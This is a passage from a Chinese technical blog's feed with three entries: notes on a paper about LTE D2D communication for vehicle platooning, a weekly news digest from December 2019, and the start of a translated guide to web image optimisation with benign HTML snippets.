的数量级以满足控制算法的需要,即 CAM 更新的频率至少要有 10 Hz。更高的 CAM 更新频率可以允许编队在一定的车间距下以更高的速度安全运行。</p><p>不同的编队可以运行在同一个车道上也可以在相邻的车道上。在前一种情况中,前一个编队的最后一辆车与后一个编队的第一辆车的距离被定义为编队间距离 (<span class="math inline">\(\delta\)</span>),这个艰巨的典型值为 40m。在后一种情况下编队间的距离可以小的多。</p><p><img src="https://imgs.codewoody.com/uploads/big/b9f02ef62712b7a334b80919e74dbb59.png"></p><h2 data-number="3.2" id="d2d-假设"><span class="header-section-number">3.2</span> D2D 假设</h2><p>CAM 信息交换通过直接的 D2D 链路进行。基站分配给 PL 非独占的 Underlay 模式的上行链路射频资源。网络以时分双工的方式运行 (Time-division duplex, TDD) 。每 10 个 1 ms TTI 称为一个 LTE TDD 帧。上行链路帧,即 U 帧的数量和位置如下表所示。</p><p><img src="https://imgs.codewoody.com/uploads/big/1d32183740422ca11c511746953832f2.png"></p><h2 data-number="3.3" id="编队对于-lte-资源的需求"><span class="header-section-number">3.3</span> 编队对于 LTE 资源的需求</h2><p>我们假设一个 CAM 的大小在 50 到 500 字节之间。下图展示了为了成功传输单个的 CAM 包,每个上行帧需要包含的 RB 的数量。图中的水平线还展示了在不同的信道带宽条件下,实际每个上行帧可用的 RB 的数量 <span class="math inline">\(N_{RB}\)</span>。</p><p>例如若一个 CAM 包的大小是 300 字节,那么不到 25 个 RB 就足够了。当带宽是 5 MHz 时,一个上行帧就足够传输一个 CAM 包。但是如果 CAM 包的体积更大一些,一个上行帧就不够用传输 QPSK 调制的 CAM 包了。在文章的接下来的部分我们假设 CAM 包的大小均为 300 字节。</p><figure><img src="https://imgs.codewoody.com/uploads/big/2f382ee3ca793fd692aaed63711bc8f4.png" alt=""><figcaption>编队占用的 RB 数量与 CAM 包大小的关系</figcaption></figure><h1 data-number="4" id="基于-d2d-的编队-cam-信息分发"><span class="header-section-number">4</span> 基于 D2D 的编队 CAM 信息分发</h1><p>在我们提出的机制中,<strong>只有 PL 会与基站进行交互以获得基站分配给整个编队的通信资源</strong>。传统的资源调度算法一般需要从用户那里获取关于链路质量,缓冲区状态等信息。在编队中,基站需要<strong>额外</strong>的信息,如编队的大小,车辆间距,以及 CAM 消息的大小和发送频率。我们假设 PL 和基站交互使用现有的 LTE 握手过程。然后基站中部署的资源分配算法那负责计算需要分配给编队的资源的数量。具体的资源分配算法是未来工作的内容。由于 CAM 通信的周期性,基站给出的分配方案是「半永久性」(semipersistent) 的,以避免逐 TTI 调度的额外开销。</p><p>资源分配完成以后,在每论更新过程中 CAM 分两阶段在编队内传输:1)在第一阶段,PL 将 CAM 信息传输给所有的 PM;2)在第二阶段,每个 PM 发送其 CAM 给后方的车辆,直到队尾车辆也收到了 CAM 消息。</p><h2 data-number="4.1" id="第一阶段-pl-to-pms"><span class="header-section-number">4.1</span> 第一阶段: PL to PMs</h2><p>PL 以足够的高那概率广播以覆盖所有的 PM。如果编队非常长,通信范围 <span class="math inline">\(R\)</span> 只覆盖了编队长度 <span class="math inline">\(L_i = [S_i - 1]d_i\)</span> 的一部分。我们设置 <span class="math inline">\(R \leq 100m\)</span>,如果通信距离太长会产生比较多的干扰。如果 PL 不能覆盖所有的 PM,那么最远处的 PM 要负责进行转发。假设转发节点的通信范围也是 <span class="math inline">\(R\)</span>。PL 发送的 CAM 消息里面包含了每个PM资源分配的信息。这种用 PL 代表整个编队同基站进行交互的架构大大减少了基站的连接负载。</p><h2 data-number="4.2" id="第二阶段-pm-to-pm"><span class="header-section-number">4.2</span> 第二阶段: PM to PM</h2><p>当 PM 收到了 PL 的 CAM 消息以后,PM 可以以单播的方式向其后方的 PM 发送相应的 CAM 消息。我们选择的 Predecessor-leader 控制策略允许相邻 PM 节点之间建立短距离,低延时的 D2D 连接。由于单个链路的覆盖范围很短,因此相聚一定距离的 PM 间通信可以同时进行,复用 RB 通信资源。</p><p>为了详细探讨复用的资源的具体规则,我们考虑一个如下图所示的单车道拓扑的情形。</p><p><img src="https://imgs.codewoody.com/uploads/big/5831f8b7bb605963f4d42e80da279c89.png"></p><p>我们定义复用距离 <span class="math inline">\(d_r\)</span> 为能够无干扰地并发传输的链路的距离。我们只考虑距离 RX 端最近的潜在干扰源。用 <span class="math inline">\(d\)</span> 来表示每对 TX/RX 节点的间距。用 <span class="math inline">\(d_I\)</span> 表示最近的潜在干扰源 <span class="math inline">\(I\)</span> 和 RX 之间的距离。显然,<span class="math inline">\(d_r = d_I + d\)</span>。最后,用 <span class="math inline">\(P_{D2D}\)</span> 表示 PM 节点的传输功率。那么在接收端的平均信噪比 (Signal-to-interference-plus-noise, SINR) 为:</p><p><span class="math display">\[\gamma (d, d_I) = \frac{P_{D2D} P L_{D2D}(d)}{P_{D2D} P L_{D2D}(d_I) + N_0},\]</span></p><p>其中 <span class="math inline">\(PL_{D2D}\)</span> 为 D2D 链接的路径损耗,<span class="math inline">\(N_0\)</span> 为背景噪声。这个公式中我们做了 Line-of-sight 传输假设并忽略了多径问题。将 <span class="math inline">\(d_r - d\)</span> 代入上式的 <span class="math inline">\(d_I\)</span>,并让 SINR 值等于预定门限,从而可以计算出 <span class="math inline">\(d_r\)</span>。</p><figure><img src="https://imgs.codewoody.com/uploads/big/dd5a97cd1edc634ea17bedd693b9c20e.png" alt=""><figcaption><span class="math inline">\(d_r\)</span> 与门限 SINR 的关系</figcaption></figure><p><span class="math inline">\(d_r\)</span> 与门限 SINR 的关系如上图所示。更加鲁棒的调制方式允许更低的 <span class="math inline">\(\gamma_{D2D}\)</span>,因此可以缩小 <span class="math inline">\(d_r\)</span> 的值。这一结果可以用来指导空分复用的设计。空分复用可以在同一编队内部,不同编队之间,以及编队同其他类型的终端之间进行。例如,当 <span class="math inline">\(d = 10m\)</span>,目标 SINR <span class="math inline">\(\gamma_{D2D} = 0 \text{dB}\)</span>,此时复用距离超过 20m。这意味着:</p><ol type="1"><li>编队内:相聚超过 20 m 的 PM 之间可以使用相同的 RB 资源同时进行传输。</li><li>编队间:编队间的距离 <span class="math inline">\(\Delta\)</span> 一般都超过 20 m,因此同一车道上的编队之间可以复用 RB 资源。不过,相邻车道上的编队之间的复用可能会变得困难,因为二者的距离可能小于 20m。</li><li>同其他类型设备:距离编队 20m 以上的其他类型设备可以复用 RB。例如在高速公路场景上,行人的手持设备一般不会靠近道路设施。</li></ol><h1 data-number="5" id="实验验证略"><span class="header-section-number">5</span> 实验验证(略)</h1><p>略,直接看原文。</p>]]></content>
<summary type="html">
<p>这里选择的文章是 2017 年的文章 <a href="https://ieeexplore.ieee.org/document/7829297" target="_blank" rel="noopener">Better Platooning Control Toward Autonomous Driving: An LTE Device-To-Device Communications Strategy That Meets Ultralow Latency Requirements</a>。文章来自 <a href="http://www.ieeevtc.org/vtmagazine/" target="_blank" rel="noopener">Vehicular Technology Magazine</a> 杂志。这个杂志的影响因子挺高的。从标题来看,作者关注的是 LTE D2D 通信无人驾驶编队的控制问题中的应用。D2D 通信是 5G 引入的一个非常重要的特性。可以说对于物联网应用来说,D2D 能力比起带宽和延时来说更为重要。不过舆论对于这个问题的关注不多。这篇文章是一篇 Magazine,一般 Magazine 文章关注的都是研究趋势,而不是关注特别细节的技术问题。因此仔细阅读这篇文章,可以帮助我们了解车联网 + 5G 研究的一些前沿的思路,而不用陷入很多繁冗的细节问题。</p>
<blockquote>
<p>看完了文章可以来做一些评论了。最初看这篇文章的目的有两方面,首先是我准备投稿 VTM,因此找来上面的文章看看其风格,而具体而言选择这篇文章,是因为这篇文章涉及的无人驾驶编队问题和 5G D2D 技术都是我比较关心的。</p>
<p>从文章风格来看,这篇 VTM 还是比较典型的 Magazine 文章风格:即篇幅不长,图片比较多,而几乎没有公式。文章的会有比较大段、详细的研究背景阐述。其提出的协议和机制内容不会特别复杂,也比较少和其他文章的协议进行对比。总结而言,这类文章是选择一个比较新的研究背景,在充分介绍背景问题的基础上,提出一些非常简单的机制,具有 Tutorial 的性质。</p>
<p>就这篇文章的内容来说,其提出的通信架构其实是非常简单的,模型也非常简单。可见,要写这类 Magazine 文章,提出什么精巧详尽的协议并不是最重要的。最重要的还是要找到非常好的研究场景。</p>
</blockquote>
</summary>
<category term="读论文" scheme="http://www.codewoody.com/categories/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
<category term="科研" scheme="http://www.codewoody.com/tags/%E7%A7%91%E7%A0%94/"/>
<category term="读论文" scheme="http://www.codewoody.com/tags/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
<category term="D2D" scheme="http://www.codewoody.com/tags/D2D/"/>
<category term="5G" scheme="http://www.codewoody.com/tags/5G/"/>
<category term="LTE" scheme="http://www.codewoody.com/tags/LTE/"/>
</entry>
<entry>
<title>Weekly-25</title>
<link href="http://www.codewoody.com/posts/53997/"/>
<id>http://www.codewoody.com/posts/53997/</id>
<published>2019-12-09T08:44:07.000Z</published>
<updated>2019-12-16T05:39:52.054Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="中美贸易争端第一阶段协议达成"><span class="header-section-number">1.1</span> <a href="https://p.dw.com/p/3Um1G" target="_blank" rel="noopener">中美贸易争端第一阶段协议达成</a></h2><p><img src="https://imgs.codewoody.com/uploads/big/8a010830e663bf6758614846d0920736.jpg"></p><p>中国官方宣布,中美达成"第一阶段经贸协议"。北京时间周五(12月13日)晚间11点左右,中国发改委、商务部和财政部举行联合新闻发布会,公布这一消息。中国官方通讯社新华社也在同一时间发表了"中方关于中美第一阶段经贸协议的声明"。声明中表示,"已就中美第一阶段经贸协议文本达成一致。协议文本包括序言、知识产权、技术转让、食品和农产品、金融服务、汇率和透明度、扩大贸易、双边评估和争端解决、最终条款九个章节"。</p><blockquote class="twitter-tweet"><p lang="en" dir="ltr">We have agreed to a very large Phase One Deal with China. They have agreed to many structural changes and massive purchases of Agricultural Product, Energy, and Manufactured Goods, plus much more. The 25% Tariffs will remain as is, with 7 1/2% put on much of the remainder....</p>— Donald J. Trump (<strong>???</strong>) <a href="https://twitter.com/realDonaldTrump/status/1205509125788098560?ref_src=twsrc%5Etfw" target="_blank" rel="noopener">December 13, 2019</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><p>根据路透社的报道,出席新闻发布会的中国发改委官员表示,中方增加对于美国能源、农业、医药、金融服务领域的产品进口,其中中国同意在2020年,<strong>购买价值 500 亿美元的美国农产品</strong>,这相当于贸易战开始前 2017 年的两倍。此外,中方将取消原定周日开始针对美国商品的加税措施。而对于美方对于中国产品加征关税的做法,声明中表示"双方达成一致,美方将履行分阶段取消对华产品加征关税的相关承诺,实现加征关税由升到降的转变。"特朗普的推特中称,“25%的关税仍然维持,其他大部分产品的关税则还是7.5%。……原定12月15日实施的惩罚性关税不会实行”。</p><p>不过,该协议还未得到两国的正式签署。中国称,双方约定,双方将各自尽快完成法律审核、翻译校对等必要的程序,并就正式签署协议的具体安排进行协商。</p><blockquote><p>尽管新闻中提到,协议中包含了知识产权,技术转上,金融服务等等方面,不过这些内容并未成为各方媒体关注的焦点。可以预见这部分的内容是相当格式化的,不会有特别核心的利益交换。事实上现在最为核心的内容还是中方让步购买农产品,美方在关税上做出让步。从这个结果来看,可以说在目前阶段贸易战是高高举起,轻轻落下了。至于后面怎么谈,就不取决于中美之间的关系,而是特朗普的选情了。</p></blockquote><p>更多报道:</p><ul><li><a href="http://www.bbc.com/zhongwen/simp/chinese-news-50787171" target="_blank" rel="noopener">BBC: 中国深夜开记者会宣布与美国达成第一阶段经贸协议</a></li><li><a href="https://www.dw.com/zh/中美贸易争端:第一阶段协议达成!/a-51663438?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">德国之声: 中美贸易争端:第一阶段协议达成!</a></li><li><a href="http://sputniknews.cn/politics/201912131030238293/" target="_blank" rel="noopener">俄罗斯卫星社: 中国财政部副部长:美承诺将取消部分对华拟加征和已加征关税</a></li></ul><h2 data-number="1.2" id="新疆再教育营学院已全部结业"><span class="header-section-number">1.2</span> <a href="http://www.bbc.com/zhongwen/simp/chinese-news-50709538" target="_blank" rel="noopener">新疆再教育营学院已全部结业</a></h2><p>中国新疆官员表示,参加“三学一去”(学习国家通用语言文字、法律知识、职业技能和去极端化)的教培学员已全部结业。</p><p>这个中国称之为再教育营的机构,被西方媒体报道为关押了超过一百万维族人的集中营机构。西方以此抨击中国在新疆的民族政策和宗教政策。</p><h2 data-number="1.3" id="世界反兴奋剂组织禁止俄罗斯参赛四年"><span class="header-section-number">1.3</span> <a href="http://www.bbc.com/zhongwen/simp/world-50714896" target="_blank" rel="noopener">世界反兴奋剂组织禁止俄罗斯参赛四年</a></h2><p>世界反兴奋剂机构(WADA)执委会禁止俄罗斯在未来四年参加大型国际赛事,包括奥运会和世锦赛。执委会认为俄罗斯反兴奋剂机构违反了反兴奋剂规定章程。这项禁令意味着,在未来司年重大国际比赛中,不能升俄罗斯国旗、奏俄罗斯国歌将禁止,其中包括2020年东京奥运会和2022年卡塔尔世界杯足球赛。</p><p>如果俄罗斯运动员能证明自己没有卷入禁药丑闻,俄罗斯运动员将只能以中立身份参赛。俄罗斯政府官员也不能出席此类赛事活动。在4年处罚期内,俄罗斯同样无法主办甚至申办重大国际赛事。</p><p>WADA执委会在瑞士洛桑的会议上一致通过这项决定。</p><h2 data-number="1.4" id="印度通过公民身份修正法案"><span class="header-section-number">1.4</span> <a href="https://www.backchina.com/news/2019/12/12/661044.html" target="_blank" rel="noopener">印度通过公民身份修正法案</a></h2><p>据“今日印度”(India Today)12月9日报道,印度下议院以311票赞成、80票反对,通过“公民身份修正法案”(CAB),提议印度授予,2014年12月31日前因“宗教迫害”而来到印度的巴基斯坦、孟加拉国和阿富汗非法移民国民身份。修正案规定,只有印度教、锡克教、佛教、耆那教、拜火教和天主教徒才有资格摆脱非法移民,获得印度国民的身份;不过,穆斯林教徒并未包括在内。</p><p>不过对于这项印度内政事务,美国政府下属的国际宗教自由委员会不仅称这一法案是“错误方向的危险转向”,还威胁称如果法案在印度两院通过,那么它将建议美国政府制裁印度现任内政部长阿米特·沙阿。</p><h2 data-number="1.5" id="月-12-日英国大选"><span class="header-section-number">1.5</span> <a href="https://www.cnbeta.com/articles/tech/921029.htm" target="_blank" rel="noopener">12 月 12 日英国大选</a></h2><p>英国当地时间早上7点,北京时间12月12日下午3点,英国百年来首次冬季大选投票开启!根据北京时间今天早上6点的出口民调(通常与最终大选结果一致),保守党获得了368个议席,工党仅获得191个议席。<strong>这场被称为“一代人最重要的投票”以保守党的大胜为终结!这将是自1987年玛格丽特•撒切尔获胜以来保守党取得的最佳结果</strong>。</p><p>在替换掉了党内的留欧派议员后,获得巨大胜利的约翰逊面前再无障碍,通过脱欧程序只是时间早晚。如无意外,2020年1月31日前,英国将离开欧盟!消息一出,5分钟后,英镑兑美元汇率上涨2.1%,至1.34美元,这是去年 5 月以来的最高水平。兑欧元汇率也上涨1.7%,为三年半以来的最高值。英国将在明年1月31日前脱离欧盟,从而消除困扰英国企业和经济三年多的英国退欧不确定性。</p><p><img src="https://imgs.codewoody.com/uploads/big/121ab6d1d06c1b87b3adead7d3174801.png"></p><blockquote><p>明年 1 月 31 号是欧盟打击逃税避税的法案 ATAD 最终生效的日子。在王孟源的<a href="http://blog.udn.com/MengyuanWang/129262086" target="_blank" rel="noopener">《【英国】谈Brexit》</a>一文提到。脱欧背后力量的真实动机就是为了避免 ATAD 法案对于英国传统富豪的打击。那么本次英国大选就标志着土豪的胜利了。</p></blockquote><h2 data-number="1.6" id="英国-nhs-可能被纳入英美经贸谈判"><span class="header-section-number">1.6</span> <a href="http://www.jfdaily.com.cn/news/detail?id=192892" target="_blank" rel="noopener">英国 NHS 可能被纳入英美经贸谈判</a></h2><p>英国引以为傲的“英国国家医疗服务体系(NHS)”成了美英经贸谈判桌上的筹码?英国工党领袖不久前拿出一份被“泄露”的英美经贸谈判的秘密文件,指责英国首相、保守党领袖约翰逊将NHS作为英美贸易谈判的筹码。据“今日俄罗斯”(RT)5日报道,约翰逊当天在一档节目中对此否认并形容,科尔宾口中这份被“泄露”的文件就像“UFO的照片”,并非真实存在。</p><iframe width="560" height="315" src="https://www.youtube.com/embed/Q3A6FHEXRZM" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><h2 data-number="1.7" id="其他"><span class="header-section-number">1.7</span> 其他</h2><h3 data-number="1.7.1" id="国内"><span class="header-section-number">1.7.1</span> 国内</h3><ul><li>北大开除冯仁杰。此前北大教师冯仁杰深陷作风问题丑闻。<a href="http://news.sciencenet.cn/htmlnews/2019/12/433742.shtm" target="_blank" rel="noopener">source</a></li><li>12 月 13 日 11 时 56 分上海嘉里粮油有限公司发生火灾。历时 7 小时大火扑灭,目前无人员伤亡。现场浓烟冲天。<a href="https://www.zhihu.com/question/360766469" target="_blank" rel="noopener">source</a></li><li>密克罗尼西亚联邦总统戴维·帕努埃洛访华。<a href="https://news.ifeng.com/c/7sNWiagOv32" target="_blank" rel="noopener">source</a></li><li>云南孙小果案 19 人一审获刑,其继父获刑 19 年,母亲获刑 20 年。<a href="https://www.zhihu.com/question/361084263/answer/936499162" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.2" id="国际"><span class="header-section-number">1.7.2</span> 国际</h3><ul><li>新西兰北岛东岸海域的白岛火山喷发,有数人受伤,另有一些人失踪。<a href="https://cn.reuters.com/article/new-zealand-volcano-eruption-1209-mon-idCNKBS1YD0GL?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a> | 更新,目前已有 5 人死亡,多人下落不明。<a href="http://www.bbc.com/zhongwen/simp/world-50711468" target="_blank" rel="noopener">source</a></li><li>现芬兰交通部长——34岁的桑娜·马林将出任芬兰总理,届时她将成为全球最年轻的总理。<a href="http://sputniknews.cn/society/201912091030192453/" target="_blank" rel="noopener">source</a></li><li>智利空军的一架运输机在前往南极科研考察站的途中失踪。机上载有38人。救援队正在全力寻找幸存者。<a href="https://www.dw.com/zh/智利南极航班失踪-38人命运未卜/a-51608487?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>南太平洋岛国巴布亚新几内亚东部最大的岛屿布干维尔举行全民公投,以压倒性多数投票赞成独立。<a href="http://www.bbc.com/zhongwen/simp/world-50743913" target="_blank" rel="noopener">source</a></li><li>沙特石油公司阿美 (ARAMCO) 首次发股,上市当天股价飙涨 10%。<a href="http://www.bbc.com/zhongwen/simp/business-50744444" target="_blank" rel="noopener">source</a></li><li>瑞典环保少女 Greta Thunberg 周三(11 日)被《时代》杂志评为年度人物。<a href="https://www.dw.com/zh/%E7%91%9E%E5%85%B816%E5%B2%81%E5%B0%91%E5%A5%B3%E9%80%9A%E8%B4%9D%E9%87%8C%E8%8E%B7%E9%80%89%E5%B9%B4%E5%BA%A6%E9%A3%8E%E4%BA%91%E4%BA%BA%E7%89%A9/a-51637434?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>美国国会通过制裁北溪 2 号的协议。这一做法在德国政界和经济界引起不满,被认为是一种威胁手段。<a href="https://www.dw.com/zh/美国威胁制裁北溪-德国政界愤怒/a-51646545?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>德国三大电信商之一 O2 宣布 5G 使用华为。这一消息在美国开始制裁北溪二号的北京之下显得非常的「巧合」。<a href="https://www.dw.com/zh/%E4%BA%89%E8%AE%AE%E6%9C%AA%E6%AD%A2-%E5%BE%B7%E7%94%B5%E4%BF%A1%E5%95%86%E5%AE%A3%E5%B8%835g%E7%94%A8%E5%8D%8E%E4%B8%BA/a-51637101" target="_blank" rel="noopener">source</a></li><li>朝鲜再次进行重大试验,增强其核威慑能力。<a href="https://www.dw.com/zh/朝中社:朝鲜再次进行重大试验/a-51668597?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>德国足球明星厄齐尔在社交媒体上发表支持维吾尔穆斯林的言论,央视取消了原定于本周末直播的阿森纳同曼城的比赛。<a href="https://www.dw.com/zh/厄齐尔力挺维吾尔人-央视取消直播阿森纳比赛/a-51680545?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>英国媒体曝光了低下大麻种植产业,约 3000 名<span class="foot-note-span">【关于 3000 这个人数存在争议,不是一家农场 3000,而是全英国一共 3000,且这个数字是估计出来的。不过使用儿童奴隶参与大麻种植是确实存在的】</span>儿童奴隶被迫在不见天日的大麻农场劳作。英国每年非法大麻市场规模近 26 亿英镑,96% 被迫从事大麻种植的为越南偷渡者或人口贩卖受害者。<a href="https://www.zhihu.com/question/360640018" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.3" id="科技与文化"><span class="header-section-number">1.7.3</span> 科技与文化</h3><ul><li>小米发布首款 5G 手机 Redmi K30,1999元起售。</li><li>12 月 10 日,苹果官网凌晨正式上架了新款 Mac Pro。其中塔式 47999 元起,架构式 51999 元起。同时苹果官网公布 Pro Display XDR 显示器售价,标准玻璃版售价 39999 元, Nano-texture 纳米纹理玻璃版售价 47999 元,Pro Stand 支架售价 7799 元,VESA 支架转换器售价 1599 元。<a href="https://www.zhihu.com/question/360347056" target="_blank" rel="noopener">source</a></li><li>Google 发布 2019 年搜索排行榜,其中迪士尼新推出的流媒体服务「迪士尼+ (Disney Plus)」成为最热门的搜索词,iPhone 11 则排名第九。<a href="https://www.williamlong.info/archives/5916.html" target="_blank" rel="noopener">source</a></li><li>电影《姜子牙》发布首支预告,电影将于 2020 年大年初一上映。<a href="https://www.bilibili.com/video/av79004503?from=search&seid=11670176180570779482" target="_blank" rel="noopener">预告片传送门</a>。</li></ul>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/8a010830e663bf6758614846d0920736.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>[翻译]网页中的图像优化指南</title>
<link href="http://www.codewoody.com/posts/27790/"/>
<id>http://www.codewoody.com/posts/27790/</id>
<published>2019-12-03T19:07:43.000Z</published>
<updated>2019-12-04T13:25:27.429Z</updated>
<content type="html"><![CDATA[<p>本文翻译自<a href="https://dev.to/prototyp/optimizing-images-for-the-web-an-in-depth-guide-4j7d" target="_blank" rel="noopener">Optimizing images for the web - an in-depth guide</a></p><p><img src="https://imgs.codewoody.com/uploads/big/11095b11da720ac41968ed26b81beb9d.jpg"></p><p>这篇文章提供了Web开发中涉及图像的一些优化问题:</p><a id="more"></a><ul><li>计算JPG图像文件大小</li><li>在线图像优化</li><li>自动化方案</li><li>图像载入优化</li><li>使用CDN</li><li>WebP图像格式</li><li>为高像素密度的屏幕的优化</li></ul><blockquote><p>上面的目录的前几个部分其实讲的就是图像压缩的问题,不过这里他将的特别的入门级,显得比较啰嗦,我会进行一定的简化。</p></blockquote><p>图像性能常常是网页性能糟糕的一个重要因素,尤其是在初始载入的时候。根据的分辨率和图像质量不同,图像的大小可能占据网站总体积的70%以上。不注重图像性能优化很容易让网站的体验变得非常糟糕。没有经验的开发者则常常忽视这个问题。他们也未能及时接触到相关的优化工具。这篇文章的主旨就在于为Web开发者提供网页中图像性能优化的指南。</p><h1 data-number="1" id="图像压缩"><span class="header-section-number">1</span> 图像压缩</h1><p>未被压缩的图像大小和很容易通过像素数量乘以通道数确定:长 * 宽 * 24bits(RGB颜色系统)。原始图像的大小是非常大的,因此图像压缩就非常重要。</p><p>有一些在线的网站能够提供图像压缩的功能,如:</p><ul><li><a href="https://compressor.io/" target="_blank" rel="noopener">Compressor.io - JPG, PNG, SVG, GIF - 1 file at the time</a></li><li><a href="https://squoosh.app/" target="_blank" rel="noopener">Squoosh - JPG, PNG, SVG, GIF - 1 file at the time</a></li><li><a href="https://imagecompressor.com/" target="_blank" rel="noopener">Optimizilla - JPG and PNG - up to 20 images at the time</a></li><li><a href="https://tinypng.com/" target="_blank" rel="noopener">TinyPNG - JPG and PNG - up to 20 images at the time</a></li><li><a href="https://www.svgminify.com/" target="_blank" rel="noopener">SVGMinify - SVG - 1 file at the time</a></li><li><a href="https://jakearchibald.github.io/svgomg/" target="_blank" rel="noopener">svgomg - SVG - 1 file at the time</a></li></ul><p>不过在开发中大批量的图像处理就不适合用这些网页工具了。在复杂的Web工程中我们一般都会使用一些自动化的构建工具,例如 Gulp, Webpack, Parcel 等。这些自动化工具一般都包含有图像优化的插件,可以完全自动化图像优化处理的过程。这样可以确保所有的图像能够正确地优化。</p><p>这里坐着推荐的插件是 <a href="https://www.npmjs.com/package/imagemin" target="_blank" rel="noopener">imagemin</a>。这一插件非常方便与各种CLI工具或者构建工具集成:</p><ul><li><a href="https://github.com/imagemin/imagemin-cli" target="_blank" rel="noopener">imagemin - CLI</a></li><li><a href="https://github.com/sindresorhus/gulp-imagemin" target="_blank" rel="noopener">imagemin - Gulp</a></li><li><a href="https://github.com/itgalaxy/imagemin-webpack" target="_blank" rel="noopener">imagemin - Webpack</a></li><li><a href="https://github.com/DeMoorJasper/parcel-plugin-imagemin" target="_blank" rel="noopener">imagemin - Parcel</a></li></ul><h1 data-number="2" id="图像载入优化"><span class="header-section-number">2</span> 图像载入优化</h1><p>上面已经介绍了通过压缩图像而不减低分辨率以减少前端需要下载文件体积的方法。不过如果一次性载入的图像数量比较多,网页的性能还是会很糟糕。</p><h2 data-number="2.1" id="lazy-loading"><span class="header-section-number">2.1</span> Lazy Loading</h2><p>Lazy Loading 是指在需要的时候才载入素材的理念。在我们的场景中,只有位于当前用户可视区域内的图像才需要进行载入。</p><p>最简单的 Lazy Loading 方法是:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"image.jpg"</span> <span class="attr">loading</span>=<span class="string">"lazy"</span> <span class="attr">alt</span>=<span class="string">"sample image"</span> /></span></span><br></pre></td></tr></table></figure><p>也有一些基于 JavaScript 的解决方案:</p><ul><li><a href="https://github.com/verlok/lazyload" target="_blank" rel="noopener">verlok/lazyload</a></li><li><a href="https://github.com/malchata/yall.js/" target="_blank" rel="noopener">yall.js</a></li><li><a href="https://github.com/dinbror/blazy" target="_blank" rel="noopener">Blazy (not actively maintained)</a></li></ul><h2 data-number="2.2" id="progressive-images"><span class="header-section-number">2.2</span> Progressive images</h2><p>Lazy Loading 的问题在于,从 UX 设计角度来看,用户在等待图像载入的时候,面对的是一个空的画面,这个设计不是特别的友好。Progressive images 的概念就是,我们可以先载入一个低质量的图像放在那里,然后载入高质量的图像。低质量的图像体积要小很多,可以很快的完成。这个图像质量逐渐改善的过程也可以分成多步,如下图:</p><p><img src="https://imgs.codewoody.com/uploads/big/aa65cd49aef46db5741f02d249826ba5.jpeg"></p><p>这种设计给予用户一种速度的错觉。用户可以看着图片变得越来越清晰,而非只是盯着一个空白区域。这里是一个 JavaScript 实现的 Progressive images: <a href="https://www.npmjs.com/package/progressive-image" target="_blank" rel="noopener">progressive-image</a>。</p><h2 data-number="2.3" id="responsive-images"><span class="header-section-number">2.3</span> Responsive images</h2><p>使用正确尺寸的图像也是一个需要注意的点。</p><p>例如,我们有一个图像,在桌面端的最大宽度为<code>1920px</code>,在平板端的最大宽度为<code>1024px</code>,移动端的最大宽度为<code>568px</code>。简单的方法是使用一个<code>1920px</code>的图像用于所有的情况。但是这样就意味着平板用户和移动用户需要载入其实完全不必要的数据。</p><p>我么可以使用 <code>picture</code> 元素来告诉浏览器根据设备类型去下载哪个图片。这个元素大约被93%的用户的浏览器支持,不过我们可以内嵌使用 <code>img</code> 元素来实现 fallback。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">picture</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">media</span>=<span class="string">"(min-width: 1025px)"</span> <span class="attr">srcset</span>=<span class="string">"image_desktop.jpg"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">source</span> <span class="attr">media</span>=<span class="string">"(min-width: 769px)"</span> <span class="attr">srcset</span>=<span class="string">"image_tablet.jpg"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">"image_mobile.jpg"</span> <span class="attr">alt</span>=<span class="string">"Sample image"</span>></span></span><br><span class="line"><span class="tag"></<span class="name">picture</span>></span></span><br></pre></td></tr></table></figure><h1 data-number="3" id="使用-cdn"><span class="header-section-number">3</span> 使用 CDN</h1><p>一些 CDN,例如 Cloudinary 还有 Cloudflare 可以在服务器上进行图像优化。如果你使用了 CDN 服务,注意留意一下 CDN 服务提供商是否提供了图像优化的服务。这就可以让我们省下很多功夫了。</p><h1 data-number="4" id="webp-图像格式"><span class="header-section-number">4</span> WebP 图像格式</h1><blockquote><p>最近看到了好多 WebP 格式的图像啊,尤其是微信公众号的文章里都是这种格式。别的优点还不清楚,不过给图像直接下载设置了一点障碍。</p></blockquote><p>WebP 图像格式由 Google 开发,是一种特别针对 Web 场景优化的格式。根据 canIUse 的数据,WebP 格式的图像在大约 80% 的场景下使用。为了保险设计 